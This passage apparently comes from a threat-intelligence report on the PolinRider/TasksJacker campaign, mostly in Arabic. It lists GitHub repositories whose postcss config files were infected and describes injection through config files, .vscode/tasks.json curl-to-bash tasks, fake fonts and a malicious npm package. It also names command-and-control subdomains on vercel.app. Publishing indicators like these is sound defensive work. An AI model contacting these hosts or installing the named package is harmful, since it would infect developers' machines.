| 235 | mdnuruzzamannirob/relo-website | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mdnuruzzamannirob/relo-website |
| 236 | Harsimran-Nugen/assignment | Harsimran-Nugen | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Harsimran-Nugen/assignment |
| 237 | cto-varun/user-crud-design-nextjs | cto-varun | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/cto-varun/user-crud-design-nextjs |
| 238 | Aman-scripts/NugenEmployabilityTest | Aman-scripts | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Aman-scripts/NugenEmployabilityTest |
| 239 | akashstwt/inventory-management-majorproject | akashstwt | User | 0 | 0 | 1 | client/postcss.config.mjs | | https://github.com/akashstwt/inventory-management-majorproject |
| 240 | akashstwt/TheGitcode | akashstwt | User | 0 | 0 | 1 | gitcodeweb/postcss.config.mjs | | https://github.com/akashstwt/TheGitcode |
| 241 | Atif-Hameed/ALS-Panel | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/ALS-Panel |
| 242 | umarabid123/store-forge | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/umarabid123/store-forge |
| 243 | addis-ale/discord | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/discord |
| 244 | addis-ale/hirecards-prod | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/hirecards-prod |
| 245 | addis-ale/ega_updated | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/ega_updated |
| 246 | addis-ale/group-match | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/group-match |
| 247 | SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel |
| 248 | SanjayaPrasadRajapaksha/Todo_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | my-app/postcss.config.mjs | | https://github.com/SanjayaPrasadRajapaksha/Todo_App |
| 249 | PremShakti/Inventory-Todo-Manager | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/PremShakti/Inventory-Todo-Manager |
| 250 | fsdteam8/lowready-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/fsdteam8/lowready-dashboard |
| 251 | badhon252/shift-scheduler | badhon252 | User | 0 | 0 | 1 | postcss.config.mjs | مبني لتبسيط جدولة المناوبات | https://github.com/badhon252/shift-scheduler |
| 252 | fsdteam8/stevenar77-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/fsdteam8/stevenar77-dashboard |
| 253 | Atif-Hameed/unsigned-frontend | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/unsigned-frontend |
| 254 | Atif-Hameed/social-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/social-admin |
| 255 | Atif-Hameed/cybenty | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/cybenty |
| 256 | anthemnandani/ai | anthemnandani | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/anthemnandani/ai |
| 257 | mijanConnect/the-piegeon-hub-website | mijanConnect | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mijanConnect/the-piegeon-hub-website |
| 258 | Button-20/juzbuild | Button-20 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Button-20/juzbuild |
| 259 | HyderYash/my-progess-tracker | HyderYash | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/HyderYash/my-progess-tracker |
| 260 | MohamedH1000/course | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MohamedH1000/course |
| 261 | nipun-imesh/sample-react | nipun-imesh | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/nipun-imesh/sample-react |
| 262 | sayyamButt317/ishout | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sayyamButt317/ishout |
| 263 | rvmediacorp/Headshot-Portland-Official | rvmediacorp | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/rvmediacorp/Headshot-Portland-Official |
| 264 | Sawjal-sikder/faceAi-front-end | Sawjal-sikder | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Sawjal-sikder/faceAi-front-end |
| 265 | SanjayaPrasadRajapaksha/E-Commerce | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SanjayaPrasadRajapaksha/E-Commerce |
| 266 | Rahulkumarhavit/multi-tenant-architecture | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Rahulkumarhavit/multi-tenant-architecture |
| 267 | Mohsin-Javed48/connectors-nextJs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Mohsin-Javed48/connectors-nextJs |
| 268 | Axxi3/hennery | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Axxi3/hennery |
| 269 | UzairAhmedDahraj/clickup-nextjs-demo | UzairAhmedDahraj | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/UzairAhmedDahraj/clickup-nextjs-demo |
| 270 | Mike-flowbiz/Flowbiz-backend | Mike-flowbiz | User | 0 | 0 | 1 | postcss.config.mjs | واجهة برمجة تطبيقات الواجهة الخلفية لـ FlowBiz – Node.js, PostgreSQL, JWT, خدمة PDF | https://github.com/Mike-flowbiz/Flowbiz-backend |
| 271 | phillipshepard1/internal-re-crm | phillipshepard1 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/phillipshepard1/internal-re-crm |
| 272 | mahadi-zulfiker/mz-events-frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | واجهة أمامية حديثة وسريعة الاستجابة وغنية بالميزات لمنصة الأحداث والأنشطة، مبنية باستخدام Next.js 14 و Tailwind CSS. يوفر هذا التطبيق تجربة سلسة للمستخدمين لاكتشاف الأحداث وللمضيفين لإدارة قوائمهم وللمسؤولين للإشراف على المنصة. | https://github.com/mahadi-zulfiker/mz-events-frontend |
| 273 | fareed-aslam/capitalkv | fareed-aslam | User | 0 | 0 | 1 | CapitalKV-AI-master/frontend/postcss.config.mjs | | https://github.com/fareed-aslam/capitalkv |
| 274 | TimothyBabatu13/Stampchain | TimothyBabatu13 | User | 0 | 0 | 1 | stamp-chain/postcss.config.mjs | | https://github.com/TimothyBabatu13/Stampchain |
| 275 | iamanaskhan10/my-portfolio-nextjs | iamanaskhan10 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/iamanaskhan10/my-portfolio-nextjs |
| 276 | MatiasCuadra98/ai-excel | MatiasCuadra98 | User | 0 | 0 | 1 | apps/frontend/postcss.config.mjs | | https://github.com/MatiasCuadra98/ai-excel |
| 277 | manuel-spec/another-portfolio | manuel-spec | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/manuel-spec/another-portfolio |
| 278 | kasunwathsala/Nextjs-Protfolio | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | موقع محفظة نابض بالحياة وحديث وسريع الاستجابة بالكامل مبني باستخدام Next.js 14 و TypeScript و Tailwind CSS. يتميز بتصميمات متدرجة مذهلة ورسوم متحركة سلسة وواجهة مستخدم ملونة تعرض مشاريعك ومهاراتك بطريقة لافتة للنظر. | https://github.com/kasunwathsala/Nextjs-Protfolio |
| 279 | shayanwd/vts-nextjs | shayanwd | User | 0 | 0 | 2 | postcss.config.mjs \| eslint.config.mjs | | https://github.com/shayanwd/vts-nextjs |
| 280 | JudeTejada/reactly | JudeTejada | User | 0 | 0 | 1 | apps/web/postcss.config.mjs | | https://github.com/JudeTejada/reactly |
| 281 | fyunusa/video-tool | fyunusa | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/fyunusa/video-tool |
| 282 | TranDoanKhoe/Velvere | TranDoanKhoe | User | 0 | 0 | 5 | src/components_bonus/my-tab/postcss.config.mjs \| src/components_bonus/my-app/postcss.config.mjs \| src/components_bonus/my-select/postcss.config.mjs \| src/components_bonus/my-button/postcss.config.mjs \| src/components_bonus/my-calendar/postcss.config.mjs | | https://github.com/TranDoanKhoe/Velvere |
| 283 | cywasay/leaders | cywasay | User | 0 | 0 | 1 | leaders-admin/postcss.config.mjs | | https://github.com/cywasay/leaders |
| 284 | TimothyBabatu13/TokenMind | TimothyBabatu13 | User | 0 | 0 | 1 | token-mind/postcss.config.mjs | عقل ذكي اصطناعي للرموز | https://github.com/TimothyBabatu13/TokenMind |
| 285 | shani-techv1/source-app-v2 | shani-techv1 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/shani-techv1/source-app-v2 |
| 286 | Mfahadk99/syssel-web-internal | Mfahadk99 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Mfahadk99/syssel-web-internal |
| 287 | Nathanim1919/time-lens | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Nathanim1919/time-lens |
| 288 | addis-ale/wetruck-shipper | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/wetruck-shipper |
| 289 | Romicha935/image-gallery | Romicha935 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Romicha935/image-gallery |
| 290 | Ali-Hamas/Todo-App | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/Ali-Hamas/Todo-App |
| 291 | MohamedH1000/philadelphia_university | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MohamedH1000/philadelphia_university |
| 292 | saifullah-max/surfchem | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/saifullah-max/surfchem |
| 293 | ahnaafarafee/bionic-seven | ahnaafarafee | User | 0 | 0 | 2 | postcss.config.mjs \| eslint.config.mjs | الموقع الرسمي لـ Bionic 7 - الدفعة 7 من الهندسة الطبية الحيوية بالجامعة الإسلامية | https://github.com/ahnaafarafee/bionic-seven |
| 294 | malirazaansari/Protfolio_project | malirazaansari | User | 0 | 0 | 1 | postcss.config.mjs | محفظتي الشخصية | https://github.com/malirazaansari/Protfolio_project |
| 295 | ayanmal1k/DragoPump | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | موقع رمز Solana | https://github.com/ayanmal1k/DragoPump |
| 296 | Shumaim-Naseer-Kiyani/framer_project | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Shumaim-Naseer-Kiyani/framer_project |
| 297 | prosigns/dex-data-aggregation | prosigns | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/prosigns/dex-data-aggregation |
| 298 | MrSohaibAhmed/interview-assessment | MrSohaibAhmed | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MrSohaibAhmed/interview-assessment |
| 299 | roma2023/Snoonu | roma2023 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/roma2023/Snoonu |
| 300 | Mohsin-Javed48/nextjs-witd-oasis | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Mohsin-Javed48/nextjs-witd-oasis |
| 301 | kasunwathsala/Caramel-Pudding-web | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | منصة تجارة إلكترونية متميزة لبيع بودنغ الكراميل مبنية باستخدام Next.js و shadcn/ui. تتميز بتجربة تسوق كاملة مع كتالوج المنتجات وعربة التسوق وعملية الدفع وتصميم سريع الاستجابة. جاهزة لتكامل الدفع والتوسع مع قاعدة البيانات الخلفية الخاصة بك. | https://github.com/kasunwathsala/Caramel-Pudding-web |
| 302 | mahadi-zulfiker/crm | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | نظام إدارة توظيف كامل المكدس قائم على الأدوار مصمم لتبسيط سير عمل التوظيف للمؤسسات وفرق الموارد البشرية. | https://github.com/mahadi-zulfiker/crm |
| 303 | humayun506034/ReviewHub-Client | humayun506034 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/humayun506034/ReviewHub-Client |
| 304 | brianonbased-dev/BaseAppShop | brianonbased-dev | User | 0 | 0 | 1 | postcss.config.mjs | متجر Brian Shopify لتطبيق Base | https://github.com/brianonbased-dev/BaseAppShop |
| 305 | sanjay10985/lead-generation-landing-page | sanjay10985 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sanjay10985/lead-generation-landing-page |
| 306 | Rahulkumarhavit/finance-advisor | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Rahulkumarhavit/finance-advisor |
| 307 | ayanmal1k/Sol-Market | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/ayanmal1k/Sol-Market |
| 308 | Mohsin-Javed48/dresscode-nextjs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Mohsin-Javed48/dresscode-nextjs |
| 309 | Hriday-paul/anyjob-wellcome | Hriday-paul | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Hriday-paul/anyjob-wellcome |
| 310 | a-belard/rayyan | a-belard | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/a-belard/rayyan |
| 311 | kasunwathsala/Service-marketplace | kasunwathsala | User | 0 | 0 | 1 | navbar-vite (3)/postcss.config.mjs | تطبيق ويب كامل المكدس وشامل يربط العملاء بمقدمي الخدمات عبر فئات متعددة بما في ذلك الخدمات ليوم واحد والعمل القائم على العقود والفرص بدوام جزئي. | https://github.com/kasunwathsala/Service-marketplace |
| 312 | kasunwathsala/saloon-booking-system | kasunwathsala | User | 0 | 0 | 1 | salon-booking-system/postcss.config.mjs | موقع حجز صالون حديث وسريع الاستجابة مبني باستخدام Next.js و React. يتميز نظام إدارة صالون التجميل الشامل هذا بقوائم الخدمات وملفات تعريف المصممين وحجز المواعيد متعدد الخطوات وشهادات العملاء وإدارة جهات الاتصال. | https://github.com/kasunwathsala/saloon-booking-system |
| 313 | Nathanim1919/becoming | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Nathanim1919/becoming |
| 314 | Adithyahewage/portfolio_website | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Adithyahewage/portfolio_website |
| 315 | Ali-Hamas/Website-Todo | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/Ali-Hamas/Website-Todo |
| 316 | MohamedH1000/Mersal | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MohamedH1000/Mersal |
| 317 | MohamedH1000/cruise | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MohamedH1000/cruise |
| 318 | kasunwathsala/portfolio-2026 | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/kasunwathsala/portfolio-2026 |
| 319 | mahadi-zulfiker/SpaceZee | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | موقع مباشر | https://github.com/mahadi-zulfiker/SpaceZee |
| 320 | mahadi-zulfiker/REPLIQ-Limited-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | رابط مباشر | https://github.com/mahadi-zulfiker/REPLIQ-Limited-Task |
| 321 | ahmadraza382/E-commerce-website | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmadraza382/E-commerce-website |
| 322 | Rahulkumarhavit/carmarket-place | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Rahulkumarhavit/carmarket-place |
| 323 | Rahulkumarhavit/Nextjs-productivity | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Rahulkumarhavit/Nextjs-productivity |
| 324 | tanushka1726/react_next | tanushka1726 | User | 0 | 0 | 1 | postcss.config.mjs | موقع القارئ هو تطبيق ويب حديث وسريع الاستجابة مبني باستخدام Next.js و TypeScript، مصمم لعرض واستكشاف الكتب بتجربة مستخدم سلسة. يتميز بالتوجيه الديناميكي والمكونات القابلة لإعادة الاستخدام، وهو منشور بالكامل للوصول العام. مثالي للقراء وعشاق الكتب أو منصات المحتوى التي تبحث عن تجربة قراءة تفاعلية. | https://github.com/tanushka1726/react_next |
| 325 | Sameer447/O2_app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Sameer447/O2_app |
| 326 | dmytro-chushko/portfolio-dev-dc | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/dmytro-chushko/portfolio-dev-dc |
| 327 | Axxi3/ladyfoxx | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Axxi3/ladyfoxx |
| 328 | Vladyslav0060/autopartner | Vladyslav0060 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Vladyslav0060/autopartner |
| 329 | PremShakti/jewelry-kiosk | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/PremShakti/jewelry-kiosk |
| 330 | theeurbanlegend/Hackathon-Submission | theeurbanlegend | User | 0 | 0 | 1 | client/postcss.config.mjs | | https://github.com/theeurbanlegend/Hackathon-Submission |
| 331 | SouravDn-p/NextManager-YourInventory-Manager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager نظام إدارة مخزون كامل المكدس مبني باستخدام Next.js 14 App Router و Tailwind CSS و MongoDB و Redux Toolkit (RTK Query). يدعم هذا التطبيق المصادقة الاجتماعية عبر NextAuth.js (Google, GitHub) وتسجيل الدخول التقليدي بالبريد الإلكتروني/كلمة المرور باستخدام JWT. | https://github.com/SouravDn-p/NextManager-YourInventory-Manager |
| 332 | abdullah2310ishaq/zeebuddy | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/abdullah2310ishaq/zeebuddy |
| 333 | JudeTejada/project-monitoring | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/JudeTejada/project-monitoring |
| 334 | salwaaliakbar/my-portfolio | salwaaliakbar | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/salwaaliakbar/my-portfolio |
| 335 | abdullah2310ishaq/company | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/abdullah2310ishaq/company |
| 336 | wahab3913/kalibar-manger1 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/wahab3913/kalibar-manger1 |
| 337 | ninjadevhub/Flood-Risk-Mapper | ninjadevhub | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/ninjadevhub/Flood-Risk-Mapper |
| 338 | trobits/trobits-frontend | trobits | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/trobits/trobits-frontend |
| 339 | Shumaim-Naseer-Kiyani/ai_landing_page | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Shumaim-Naseer-Kiyani/ai_landing_page |
| 340 | ChiraniSiriwardhana/Portfolio | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/ChiraniSiriwardhana/Portfolio |
| 341 | carrantal/frontend | carrantal | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/carrantal/frontend |
| 342 | Nathanim1919/atlas | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Nathanim1919/atlas |
| 343 | asadullah-kazmi/syncspace | asadullah-kazmi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | منصة تعاون في الوقت الفعلي مبنية باستخدام Next.js و WebSockets و CRDTs (Yjs)، مما يتيح تحرير المستندات متعدد المستخدمين مع مزامنة الحالة بدون تعارض وتحديثات زمن وصول منخفض. | https://github.com/asadullah-kazmi/syncspace |
| 344 | usman-174/form-pdf | usman-174 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/usman-174/form-pdf |
| 345 | evenwalser/FinalPaperclipPro | evenwalser | User | 0 | 0 | 1 | postcss.config.mjs | لـ Hetal للانتقال إلى Paperclip Vercel | https://github.com/evenwalser/FinalPaperclipPro |
| 346 | huzzy12/portfolio | huzzy12 | User | 0 | 0 | 1 | postcss.config.mjs | موقع محفظتي | https://github.com/huzzy12/portfolio |
| 347 | Sameer447/my-app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Sameer447/my-app |
| 348 | wahab3913/kalibar | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/wahab3913/kalibar |
| 349 | sybotstackdev/Portfolio | sybotstackdev | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sybotstackdev/Portfolio |
| 350 | NEERAJ131124/pisync-fe | NEERAJ131124 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/NEERAJ131124/pisync-fe |
| 351 | RazaAkmal/frontend-test | RazaAkmal | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/RazaAkmal/frontend-test |
| 352 | kasunwathsala/Loomistore | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/kasunwathsala/Loomistore |
| 353 | um8r/bridge-master-fyp | um8r | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/um8r/bridge-master-fyp |
| 354 | RathodDeven/danz-web | RathodDeven | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/RathodDeven/danz-web |
| 355 | Gowreesh-VT/OnlyFoundersV2 | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Gowreesh-VT/OnlyFoundersV2 |
| 356 | garrycha/test-job | garrycha | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/garrycha/test-job |
| 357 | wasi2320/ctk-new | wasi2320 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/wasi2320/ctk-new |
| 358 | sayyamButt317/hire-with-tess-frontend | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sayyamButt317/hire-with-tess-frontend |
| 359 | Al-amin07/bigso_app | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/bigso_app |
| 360 | shermuhammad786/gs-hackathon | shermuhammad786 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/shermuhammad786/gs-hackathon |
| 361 | smit455/big_bazaar-store | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/smit455/big_bazaar-store |
| 362 | jbaze/borec-basket-claude | jbaze | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/jbaze/borec-basket-claude |
| 363 | Al-amin07/project-9-client | Al-amin07 | User | 0 | 0 | 3 | postcss.config.mjs \| tailwind.config.js \| eslint.config.mjs | | https://github.com/Al-amin07/project-9-client |
| 364 | farihulrouf/orcx_fe | farihulrouf | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/farihulrouf/orcx_fe |
| 365 | wahab3913/kalibar-m2 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/wahab3913/kalibar-m2 |
| 366 | finom/realtime-kanban | finom | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/finom/realtime-kanban |
| 367 | rejoan121615/heritage-trial-overlay | rejoan121615 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/rejoan121615/heritage-trial-overlay |
| 368 | Ruwanima/Portfolio | Ruwanima | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Ruwanima/Portfolio |
| 369 | Lithira-Sasmitha/social_app | Lithira-Sasmitha | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Lithira-Sasmitha/social_app |
| 370 | coderkhalide/selorax-canvas | coderkhalide | User | 0 | 0 | 1 | apps/canvas-v2/postcss.config.mjs | | https://github.com/coderkhalide/selorax-canvas |
| 371 | Button-20/juzbuild-background-processor | Button-20 | User | 0 | 0 | 1 | templates/homely/postcss.config.mjs | | https://github.com/Button-20/juzbuild-background-processor |
| 372 | Muhammadfaizanjanjua109/frammerMotion | Muhammadfaizanjanjua109 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Muhammadfaizanjanjua109/frammerMotion |
| 373 | AHAdd40451/task-sheet | AHAdd40451 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/AHAdd40451/task-sheet |
| 374 | zaheerahmad92001/pettro | zaheerahmad92001 | User | 0 | 0 | 1 | postcss.config.mjs | pettro لعشاق الحيوانات الأليفة | https://github.com/zaheerahmad92001/pettro |
| 375 | MahadA456/mahad-portfolio | MahadA456 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MahadA456/mahad-portfolio |
| 376 | Joyeta-Mondal/Sparktech-Agency-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Joyeta-Mondal/Sparktech-Agency-assessment |
| 377 | webprogramminghack/b3-practice-31 | webprogramminghack | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/webprogramminghack/b3-practice-31 |
| 378 | Adithyahewage/Salon-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | مشروع تجريبي لعميل صالون | https://github.com/Adithyahewage/Salon-demo |
| 379 | akashstwt/eth-global-cryptowiki | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/akashstwt/eth-global-cryptowiki |
| 380 | Gowreesh-VT/AWS-Web-Dev | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Gowreesh-VT/AWS-Web-Dev |
| 381 | dynamicdreamz1/startup-voyager | dynamicdreamz1 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/dynamicdreamz1/startup-voyager |
| 382 | farhanmasood-se/live-docs | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/farhanmasood-se/live-docs |
| 383 | dmytro-chushko/form-editor | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | تطبيق Next.js لبناء ونشر وجمع إرسالات النماذج المخصصة. يتضمن منطقة إدارة مصادقة مع محرر سحب وإفلات وتجربة نموذج موجهة للجمهور. | https://github.com/dmytro-chushko/form-editor |
| 384 | Sameer447/launchpad-incubator-backend | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Sameer447/launchpad-incubator-backend |
| المقياس | 8 مارس (أولي) | 11 أبريل (الأحدث) | الفرق |
|---|
| عدد المستودعات الفريدة المصابة | 675 | 1,951 | +1,276 |
| عدد المالكين الفريدين المتأثرين | 352 | 1,047 | +695 |
| — مستخدمون فرديون | 305 | ~930 | +625 |
| — منظمات | 47 | ~117 | +70 |
| أنواع التشويش المميزة المرصودة | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| نواقل الحقن المميزة المؤكدة | 1 (ملف تهيئة) | 4 (ملف تهيئة، .vscode/tasks.json، خط .woff2 مزيف، تبعية npm خبيثة) | +3 |
| النطاقات الفرعية C2 المميزة الموثقة | 1 (260120.vercel.app) | 6+ (انظر البنية التحتية C2) | +5 |
| قوالب الاختبار المنزلي المسلحة المعروفة | 0 | 2+ (ShoeVista, StakingGame) | +2 |
جهة التهديد تعيد إصابة الضحايا السابقين. يحتوي مستودع ضحية واحد على الأقل (HassanHabibTahir/testclient) على علامات من كلا المتغيرين في ملفات مختلفة، مما يشير إلى أن أدوات الجهة تعيد التشغيل ضد المضيفين الذين تم اختراقهم سابقًا وتحقن المشوش الجديد.
اندمج PolinRider وTasksJacker عملياتيًا. لدينا الآن دليل مباشر على أن نفس جهة التهديد تدير كلاً من حقن ملفات التهيئة وناقل الإصابة .vscode/tasks.json curl-to-shell ضد نفس مجموعة الضحايا. 22 من أصل 101 ضحية لبرنامج الانتشار temp_auto_push.bat لديهم أيضًا ملفات .vscode/tasks.json خبيثة، وتم تحديد العديد من مشاريع قوالب الاختبار المنزلي / المقابلة المزيفة المسلحة — انظر قوالب الاختبار المنزلي المسلحة أدناه. يقوم OSM بدمج المجموعتين تحت #polinrider مستقبلاً.
تم تحديد مشروعي اختبار منزلي مسلحين: ShoeVista (تقييم تجارة إلكترونية مزيف لـ Tailwind يأتي مع حزمة tailwindcss-style-animate ^1.1.6 خبيثة في client/package.json) وStakingGame (مشروع بلوكتشين / أتمتة VS Code مزيف تم التعرف عليه بواسطة UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 في tasks.json). على الأقل 46 + 42 مطورًا قاموا بهذه الاختبارات وتم اختراقهم. جزء من دليل إغراء Contagious Interview.
تم اكتشاف خمس نطاقات فرعية C2 جديدة تُستخدم في حمولات .vscode/tasks.json curl | bash، جميعها مستضافة على Vercel:
default-configuration.vercel.app (الأكثر استخدامًا، ~106 إشارات ضحية)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.appتتبع جميعها النمط https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. تمت إضافتها إلى قسم البنية التحتية C2.
قدم OSM 821 تقرير تهديد جديد عبر عملية الصيد التي استمرت يومين، مما رفع إجمالي إدخالات OSM PolinRider إلى ~1,700. تفصيل المتغيرات للـ 821 إرسالاً: 591 متغير أصلي (rmcej%otb%)، 113 انتشار فقط (temp_auto_push.bat)، 45 malicious_npm (مجموعة ShoeVista/devhire)، 27 tasksjacker، 1 متغير جديد (Cot%3t=shtP)، 44 أخرى.
